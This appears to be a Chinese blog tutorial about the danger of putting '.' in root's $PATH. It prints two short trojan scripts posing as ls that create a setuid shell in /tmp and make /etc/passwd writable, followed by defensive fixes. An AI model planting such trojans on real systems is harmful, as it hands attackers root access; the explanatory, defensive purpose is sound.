Unix Linux環境下多一點不如少一點

2021-09-22 03:22:00 字數 2286 閱讀 1881

正如很多人所知道的$path環境變數裡存著一張目錄列表,當使用者要執行某一程式時,系統就會按照列表中的內容去查詢該程式的位置。當程式名前不帶點斜線 . / 時$path就會起作用。

對於普通使用者和root使用者$path裡預設是不包含"."來指定使用者的當前目錄。這在本機進行指令碼開發的程式設計師來說卻不方便,想圖省事的人就把點加到了搜尋路徑中,這就等於在你的系統埋下了險情。

例如:root為了方便使用在他的當前路徑末尾加了個點"."(搜尋目錄為代表當前目錄)

命令操作如下:

[root@rh root]# path=$path:.

[root@rh root]# echo $path

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

這下是方便了,直接輸入指令碼名就能執行。ok,正常情況下一點問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設的指令碼檔名)。有的root把path=$path:.這條命令加到了profile裡,使所有使用者到分享你給他們帶來的"福音"。更有勝者root使用者竟然 path=.:$path(將":"加到路徑前是另一種形式)。正常請況下一點問題沒有,直到有一天,張三使用者在他的主目錄下放了名為lls的指令碼,並對 root說他的系統出問題了希望root能幫他解決。(其實是乙個trap)。root一上來就su 成管理員許可權,緊更著列了一下目錄。有可能管理員誤敲成了lls,結果哈哈。。。。

以下是個簡單的c shell 的例子

#!/bin/csh

if ( ! -o /bin/su )

goto finish

cp /bin/sh /tmp/.sh

chmod 7777 /tmp/.sh

finish :

exec /bin/ls $ar** | grep -v ls

稍微變形就有個b shell的

#!/bin/sh

if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

cp /bin/sh /tmp/.sh

chmod 4755 /tmp/.sh

fiexec ls "$@"

如果root將其環境變數$path包含了"."並且其位置先與ls所在的系統目錄,那麼當使用者在/tmp中執行ls時,執行的是上面給出的指令碼,而不是實際的ls命令,因為最終還是執行了ls,所以root不會看出有任何異常。如果是root執行了該指令碼,就會將口令檔案設定為可寫,並將 shell複製到/tmp儲存為.sh,同時設定其setuserid位,所有這一切都非常安靜地發生。

在以上這兩個程式裡,心懷不鬼的人能寫入任何令root急的要跳樓的程式,部下陷阱等root來鑽,也許root在不知不覺中施行了也根本不會察覺。也許在張三的主目錄下有乙個名為ps的指令碼裡面包含有危險指令碼,root可能一到他的機器前就輸入了ps,此時系統會首先到當前目錄下搜尋,結果 /sbin/ps卻不被執行。類似這樣的小花招還有很多。

管理員同志,不要太緊張,下面我說說解決辦法。

首先,要養成輸絕對路徑的良好命令列輸入習慣,這樣就不會讓"不法份子"乘虛而入了。比如,列目錄最好用/bin/ls來列目錄,不要圖方便而冒然輸入ls。

其次,根使用者(root)不要把"."包括到搜尋目錄列表裡,而普通使用者如果個"."包括到搜尋列表中的話別,則"."就應當放在搜尋目錄列表的最後位置上。這樣一來普通使用者不會受到前面所述的那種危害。

最後,可以在登陸時在/etc/profile 和bashrc .profile檔案的末尾新增如下一行

[path=`echo $path |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

這個簡單的sed命令將刪除路徑裡所有的"."包括其另一形式"::"

還可以由crontab呼叫定期執行

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; \

mail -s 'this is a pointlist' root@localhost < point.txt

來搜尋所有以點開頭的檔案,再傳送到root的郵箱裡,再進行比較等任務。

好了,希望各位使用者能有所感悟,能想出更好的防禦辦法。歡迎,大家有問題與我聯絡哦! cgweb at 163 dot com

備註:以上提供的shell**僅供實驗使用,不得用於違法活動,否則與本人無關.

Unix Linux環境下多一點不如少一點

正如很多人所知道的 path環境變數裡存著一張目錄列表,當使用者要執行某一程式時,系統就會按照列表中的內容去查詢該程式的位置。當程式名前不帶點斜線 時 path就會起作用。對於普通使用者和root使用者 path裡預設是不包含 來指定使用者的當前目錄。這在本機進行指令碼開發的程式設計師來說卻不方便,...

Unix Linux環境下多一點不如少一點

正如很多人所知道的 path環境變數裡存著一張目錄列表,當使用者要執行某一程式時,系統就會按照列表中的內容去查詢該程式的位置。當程式名前不帶點斜線 時 path就會起作用。對於普通使用者和root使用者 path裡預設是不包含 來指定使用者的當前目錄。這在本機進行指令碼開發的程式設計師來說卻不方便,...

多一點積極 少一點悲觀

一直想著積極的東西,就像漫步在燦爛的陽光之中,心情也會變得越來越好 一直沉浸在悲觀的想法裡面,整個世界也都似乎被一片厚重的陰霾給籠罩起來。其實事情沒自己想得那麼好,更沒自己想得那麼糟,一切都是自己的假設,由此引發的喜怒哀樂都是清晨的薄霧 花草間的露水,注定是要消失得無影無蹤。只有建立在真實發生了的事...